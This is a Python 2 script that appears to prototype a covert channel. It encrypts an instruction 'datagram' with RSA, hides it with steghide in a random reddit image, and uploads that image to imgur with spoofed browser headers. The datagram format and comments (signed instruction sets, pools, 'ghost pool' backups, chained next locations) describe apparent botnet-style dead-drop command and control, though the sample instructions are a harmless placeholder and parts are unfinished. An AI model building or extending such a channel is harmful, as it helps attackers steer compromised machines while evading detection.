#!/usr/bin/python
import urllib2
import urllib
import re
from BeautifulSoup import BeautifulSoup
import requests
# from stegano import slsb
import random
import os
import json

#gets pic from reddit.com/r/pics and saves as temp.png
def getpic():
	num = random.randint(0, 24)
	page = BeautifulSoup(urllib2.urlopen("http://www.reddit.com/r/pics/new"))
	i = re.findall('(?<=<a class="thumbnail " href=")([^"]*)', str(page))
	if i:
			url = i[num]
			#adds jpg to end of file if need be
			if url.find(".jpg") == -1 and url.find(".png") == -1:
				url = url + ".jpg"
			print url
			r = urllib2.urlopen(url)
			f = open('images/temp.jpg', 'wb+')
			f.write(r.read())
			f.close()
	else:
		print "shits broke yo"


#stegs some stuff into image and saves image
def stegstuffs():
	os.system("steghide embed -ef cryptmessage.txt -cf images/temp.jpg -p asd\n 2>errors")
	f = open('errors', 'rw')
	if "steghide" in f.read():
		f.write("")
		f.close()
		raise Exception("lol error")
	#os.system("steghide extract -sf images/temp.jpg -p asd\n")
	
	#message = "(signature) #Internal intergrity check\n(signature of previous instruction)\n(signature of next instructions):(signature):(signature):(signature):....\n(pool index):(pool boolean) #Experimental pool finder and adhoc'r\n\n(Next location):(location):(location):(location):(location):(location):(location):...\n(previous instruction location) #doubly linked list\n(ghost pool) #backup pool also triply linked list :)\n\n(instructions)#one per line\nS #A single Captial S represents beginning of instruction set\n(1instruction)\n(2instruction)\n(3instruction)\n(4instruction)\n ...\nE #A single Captial E represents end of instruction set\n\n(key to decrypt next message) # optional can help obstuficate and make the process more difficult"
	#secret = slsb.hide("images/temp.jpg", message)
	#secret.save("images/tempsteg.jpg")
	#datagram = str(slsb.reveal("images/tempsteg.jpg"))
	

#uploads image to imgur (need to figure out how imgur.com/upload post stuff works)
class banned(Exception):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)
		 
def uploadpic():
	url = 'http://imgur.com/upload'
	payload = {'file': open('images/temp.jpg', 'rb')}
	headers = {'Host': 'imgur.com',
			'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'en-US,en;q=0.5',
			'Accept-Encoding': 'gzip, deflate',
			'DNT': '1',
			'Connection': 'keep-alive'}
	r = requests.post(url, files=payload, headers=headers)
	if str(r.text).find("Exception_OverUploadLimits") > 1:
		raise banned(1)
	test = json.loads(r.text)
	print test['data']['hash']
	
def encrypt_RSA(key, message):
	'''
	param: public_key_loc Path to public key
	param: message String to be encrypted
	return base64 encoded encrypted string
	'''
	from M2Crypto import RSA, BIO 
	#key = open(public_key_loc, "r").read() 
	pubkey = str(key).encode('utf8') 
	bio = BIO.MemoryBuffer(pubkey) 
	rsa = RSA.load_pub_key_bio(bio) 
	encrypted = rsa.public_encrypt(message, RSA.pkcs1_oaep_padding)
	return encrypted.encode('base64')

def hash_and_encrypt_Mod(message):
	"""
	Encrypts datagram payload. Also prepends hash of plaintext for integrity checking.
	"""
	import hashlib
	
	s = hashlib.sha512()
	s.update(message)
	hash = s.hexdigest()
	
	fo = open("rootkeys/public.txt", "rb")
	publickey = fo.read()
	fo.close()
	crypttext = encrypt_RSA(publickey,message)
	fo = open("cryptmessage.txt","wb")
	fo.write(hash + crypttext)
	fo.close()
	return crypttext
	
	
while True:
	try:
		getpic()
	except:
		continue
	break
while True:
	try:
		example_datagram = '''{
	"prev_sig":"(signature of previous instruction)",
	"pool_num":"(pool number)",
	"instrs":"c3R1ZmYgPSAnaGVsbG8gd29ybGQnDQppZiBzdHVmZls6Nl0gPT0gJ2hlbGxvJzoNCiAgICBwcmludCAnaXQgaXMgY29vbCcNCmVsc2U6DQogICAgcHJpbnQgJ2dvZGRhbWl0Jw==",
	"maint_instrs":"c3R1ZmYgPSAnaGVsbG8gd29ybGQnDQppZiBzdHVmZls6Nl0gPT0gJ2hlbGxvJzoNCiAgICBwcmludCAnaXQgaXMgY29vbCcNCmVsc2U6DQogICAgcHJpbnQgJ2dvZGRhbWl0Jw==",
	"next_key":"(keyifweneedit)",
	"next_locs":[
		[{"check_time":"(EPOCH time)"}, {"loc":"(location)"},{"sig":"(signature)"}],
		[{"check_time":"(EPOCH time)"}, {"loc":"(location)"},{"sig":"(signature)"}],
		[{"check_time":"(EPOCH time)"}, {"loc":"(location)"},{"sig":"(signature)"}],
		[{"check_time":"(EPOCH time)"}, {"loc":"(location)"},{"sig":"(signature)"}]
	],
	"prev_loc":"(previous location)",
	"ghost_pool_locs":[
		{"loc":"(location)"},
		{"loc":"(location)"}
	],
	"gen_time":"1395082897"
}
'''
	
		hash_and_encrypt_Mod(example_datagram)
		stegstuffs()
	except:
		continue
	break
while True:
	try:
		uploadpic()
	except	banned as e:
		print "we got banned yo"
	except:
		continue
	break


#cleansup
#os.remove("images/temp.png")
#os.remove("images/tempsteg.png")
